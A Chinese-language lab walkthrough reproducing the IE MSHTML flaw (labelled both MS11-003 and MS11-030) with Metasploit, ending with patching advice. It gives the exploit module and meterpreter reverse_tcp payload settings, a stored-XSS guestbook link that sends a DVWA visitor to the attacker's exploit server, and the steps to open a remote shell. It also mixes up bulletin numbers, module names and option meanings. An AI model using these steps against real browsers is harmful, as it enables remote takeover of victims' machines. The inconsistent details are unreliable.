环境说明
- 渗透机操作系统:kali-linux-2024.1-installer-amd64
- 漏洞复现操作系统: cn_windows_7_professional_with_sp1_x64_dvd_u_677031
- 服务器操作系统:cn_windows_10_enterprise_2016_ltsb_x64_dvd_9060409
- PHPStudy 版本: 8.1.1.3
- Apache 版本:2.4.39
- MySQL 版本 5.7.26
1 MS11_003 简介
实验在 Metasploit 下结合 XSSF 对IE 浏览器进行渗透测试,利用 MSHTML.DLL 处理悬挂指针漏洞(MS11-003)。MSHTML.DLL 是一个用于解析 HTML 语言的动态链接库,IE、Outlook、Outlook Express 等应用程序都使用了该动态链接库。
MS11_030 漏洞产生的原因:Internet Explorer 在事件处理的实现上存在远程代码执行漏洞,攻击者可利用此漏洞在受影响应用程序中运行任意代码,造成拒绝服务。在处理某些对象操作时,MSHTML.DLL 库中的悬挂指针漏洞可被远程利用。
攻击者有可能利用特定的 JavaScript 远程拒绝服务攻击使用该动态链接库的应用程序。MSHTML.DLL 使得JavaScript 可以处理多个窗口对象。如果一个窗口对象接收数据之后被删除,然后重新初始化,那么 MSHTML.DLL 将出错,根据出错现象可以判断出发生了缓冲区溢出。
2 MS11_003 复现过程
在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境和服务器环境的搭建可自行Bing。
步骤01、
打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。
步骤02、
使用ifconfig
和 ipconfig
命令分别获取渗透机和靶机的IP的地址,使用ping
命令进行网络 连通性测试,确保网络可达。
渗透机的IP 地址为 192.168.254.134,如图所示。
渗透机的IP地址
靶机的IP地址为 192.168.254.131,如图所示。
靶机的IP 地址
服务器的IP地址为 192.168.254.128,如图所示。
服务器的 IP地址
步骤03、
使用 msfconsole
命令打开 Metasploit 渗透测试平台,如图所示。
启动 Metasploit
使用 search ms11_030
命令搜索 ms11_030_ie_css_javascript,即搜索 IE 浏览器 mshtml 漏洞利用模块,如图所示。
搜索 MS11_030 模块
然后使用 use exploit/windows/browser/ms11_030_ie_import
命令对该模块进行调用,并通过 show options
命令查看模块的详细配置参数,如图所示。
查看配置参数
步骤04、
使用 set payload windows/meterpreter/reverse_tcp
命令设置载荷模块,如图所示。
设置载荷模块
使用 set RHOST 渗透机IP
命令设置本地主机监听地址(稍后用作漏洞载荷的渗透服务器),然后使用 set URIPATH ui
命令来设置访问模块的具体地址(默认为随机生成),再使用 set LHOST 渗透机IP
命令设置载荷模块监听的本地地址,其他选项默认即可,如图所示。
设置相关参数
设置完成后,使用 show optons
命令对模块已配置的参数进行检查,如图所示。
查看配置完成后的参数
最后设置模块的目标,使用 show targets
命令查看支持的目标列表,使用 set target 0
命令设置目标为 自动识别,也可以指定浏览器,如图所示。
设置浏览器对应版本的编号
步骤05、
使用 exploit -j
命令在后台启动该模块,等待靶机连接,如图所示。
执行模块 (这里没截到图片,所以引用了下面步骤的图片,可以忽略图片中的箭头和框框)
在渗透机 Kali 使用 firefox
命令打开火狐浏览器,并访问服务器站点 http://192.168.254.128/dvwa/login.php ,如图所示。
访问服务器站点 (服务器我是使用 WIndows 10搭建的,搭建教程可以点此链接 DVWA 靶场搭建)
输入用户名 admin 、密码 password 进行登录,登录成功后跳转到DVWA 漏洞测试网站,如图所示。
DVWA 漏洞测试网站, 用户名和密码都是网站默认的,我没有修改
步骤06、
由于该网站在默认的难度下做了一定的防护,导致许多操作无法成功实现,例如,XSS 跨站脚本,命令注入等。所以在任务实施之前需要设置一下难度级别,单机 “DVWA Security” 按钮,如图所示。
设置难度级别
选择下来菜单中的 Low 选项,将难度调为 Low,然后单机 Submint 按钮提交,如图所示。
设置 Low 级别难度
设置完成后查看安全级别,难度 Low ,如图所示。
查看安全级别
步骤07、
选择左侧导航栏中的 XSS (Stored)选项,进入存储型跨站脚本测试页面,如图所示。
选择存储型跨站脚本测试
然后在页面中按 <F12>
键打开审查元素,切换到查看器,在搜索文本框中输入 maxlength 查询最大长度字段,找到 Name 或 Message 对应 maxlength,建议修改 Message 字段,作为后面注入跨站脚本的文本框,如图所示。
设置文本框内字符的最大长度
修改后,如图所示。
修改长度为 500
然后在 Message 文本框中填入 <a href = “http://192.168.254.134:8080/ui"> Click to Download </a>
,如图所示。
编写跨站脚本语句 (点击 Sign GuestBook 确定)
使用 客户端 (Windows 7)IE 浏览访问该站点,首先降低站点的防护安全性,如图所示。
客户端设置安全级别
单击网页上的 “Click to Download” 按钮,如图所示。
单击 “Click to Download” 按钮
回到 Kali 渗透机上查看,发现上线了一个会话,如图所示。
回到渗透机中查看
使用sessions -i 5 命令切换到会话5,再使用shell 命令开启一个命令终端,如图所示。
获取操作系统的Shell (上面显示的会话 ID 2 ,如果切换到2,我这里有会话5所以切换到5)
3 MS11_003 安全加固
大多数客户已启用自动更新,无需采取任何措施,因为此安全更新将自动下载并安装。 未启用自动更新的客户需要检查更新并手动安装此更新。 有关自动更新中的特定配置选项的信息,请参阅 Microsoft 知识库文章294871。
对于管理员和企业安装,或想要手动安装此安全更新的最终用户,Microsoft 建议客户使用更新管理软件立即应用更新,或使用 Microsoft 更新 服务检查更新。
官方安全公告